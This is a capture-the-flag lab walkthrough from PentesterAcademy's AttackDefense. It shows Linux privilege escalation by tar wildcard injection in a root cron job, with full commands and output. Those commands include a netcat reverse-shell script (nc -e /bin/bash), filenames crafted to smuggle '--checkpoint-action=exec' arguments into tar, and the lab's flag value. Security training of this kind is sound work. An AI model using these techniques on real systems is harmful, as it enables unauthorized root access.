
ATTACK
DEFENSE
by PentesterAcademy

Name	Cron Jobs Gone Wild!
URL	https://www.attackdefense.com/challengedetails?cid=74
Type	Privilege Escalation : Linux

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: Taking a cue from the name of the challenge, look for cron jobs running on the system.

Command: crontab -l

```
student@attackdefense:~$ crontab -l
no crontab for student
student@attackdefense:~$
```

Step 2: There are no active cron jobs for student user. Importantly, as student is a low privileged user, we won't be able to see the cron job scheduled by the root. So, we have to try other avenues.

It is mentioned in the challenge description that a byproduct of this cron job is the creation of an archive in /tmp directory.Check the /tmp directory. An archive named monitor.tar.gz is there which is being overwritten every minute.

```
student@attackdefense:~$ ls -l /tmp/
total 4
-rw-r--r-- 1 root root 181 Nov  9 03:59 monitor.tar.gz
student@attackdefense:~$ ls -l /tmp/
total 4
-rw-r--r-- 1 root root 181 Nov  9 04:00 monitor.tar.gz
```

Step 3: Extract it to see its contents.

Command: tar -zxvf monitor.tar.gz

```
student@attackdefense:/$ cd /tmp/
student@attackdefense:/tmp$
student@attackdefense:/tmp$ tar -zxvf monitor.tar.gz
1
2
3
4
5
```

Step 4: Search for any one of the files present in the extracted directory, to see the source of these files.

Command: find / -name 3

```
student@attackdefense:/tmp$ find / -name 3
find: '/root': Permission denied
/proc/irq/3
/proc/sys/net/netfilter/nf_log/3
find: '/proc/tty/driver': Permission denied
find: '/proc/13/task/13/fd': Permission denied
find: '/proc/13/task/13/fdinfo': Permission denied
find: '/proc/13/task/13/ns': Permission denied
find: '/proc/13/fd': Permission denied
find: '/proc/13/map_files': Permission denied
find: '/proc/13/fdinfo': Permission denied
find: '/proc/13/ns': Permission denied
/proc/14/task/14/fd/3
```

```
/proc/91/fdinfo/3
find: '/etc/ssl/private': Permission denied
/tmp/3
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/spool/cron/crontabs': Permission denied
/var/log/monitor/3
/sys/kernel/irq/3
student@attackdefense:/tmp$
```

Step 5: A match for the files is found at /var/log/monitor/3. Switch to that directory and list its contents.

Commands:
cd /var/log/monitor
ls -l

```
student@attackdefense:/tmp$ cd /var/log/monitor/
student@attackdefense:/var/log/monitor$ ls -l
total 20
-rw-r--r-- 1 root root 29 Sep 23 03:40 1
-rw-r--r-- 1 root root 29 Sep 23 03:40 2
-rw-r--r-- 1 root root 29 Sep 23 03:40 3
-rw-r--r-- 1 root root 29 Sep 23 03:40 4
-rw-r--r-- 1 root root 29 Sep 23 03:40 5
student@attackdefense:/var/log/monitor$
```

Step 6: This means cron job is archiving this directory every minute. In order to verify that the job is using wildcard while selecting the files, create a new empty file in the same directory and name it 6.

```
student@attackdefense:/var/log/monitor$ touch 6
student@attackdefense:/var/log/monitor$
```

Step 7: After 1 minute, extract the archive in /tmp directory and check if newly added file is there.

```
student@attackdefense:/tmp$ tar -zxvf monitor.tar.gz
1
2
3
4
5
6
student@attackdefense:/tmp$
```

Step 8: This confirms the use of wildcard. Unix wildcard gone wild is a well known approach to privilege escalation and the complete process is described in this paper: https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

By following the exploitation procedure, create a file shell.sh which we want the cron job to execute. Remember, the cron job is scheduled by the root, so it runs as root.

Step 9: Write the following command to shell.sh

Command: printf '#! /bin/bash\nnc -e /bin/bash 127.0.0.1 1234' > shell.sh

This code will try to connect to local port 1234 and use /bin/bash for interaction.

Step 10: Then, create some special files which will act as arguments to the caller process and execute our shell.sh

Commands:
touch -- '--checkpoint-action=exec=sh shell.sh'
touch -- '--checkpoint=1'

```
student@attackdefense:/var/log/monitor$ printf '#! /bin/bash\nnc -e /bin/bash 127.0.0.1 1234' > shell.sh
student@attackdefense:/var/log/monitor$ cat shell.sh
#! /bin/bash
nc -e /bin/bash 127.0.0.1 1234student@attackdefense:/var/log/monitor$
student@attackdefense:/var/log/monitor$
student@attackdefense:/var/log/monitor$ touch -- '--checkpoint-action=exec=sh shell.sh'
student@attackdefense:/var/log/monitor$ touch -- '--checkpoint=1'
```

Step 11: Start listening on local port 1234 with netcat and wait for cron job to execute and fire the shell.sh.

Command: nc -vnlp 1234

After a few seconds, a new connection will be established on our netcat listener. One can execute commands on local machine using it.

```
student@attackdefense:/var/log/monitor$ nc -vnlp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42036
whoami
root
```

Step 12: Escalated to root is complete. So, change to /root directory and retrieve the flag.

```
cd /root
ls -l
total 4
-rw-r--r-- 1 root root 33 Nov  2 16:30 flag
cat flag
920cf978831b228cf7d13c8368b6c1f2
```

Flag: 920cf978831b228cf7d13c8368b6c1f2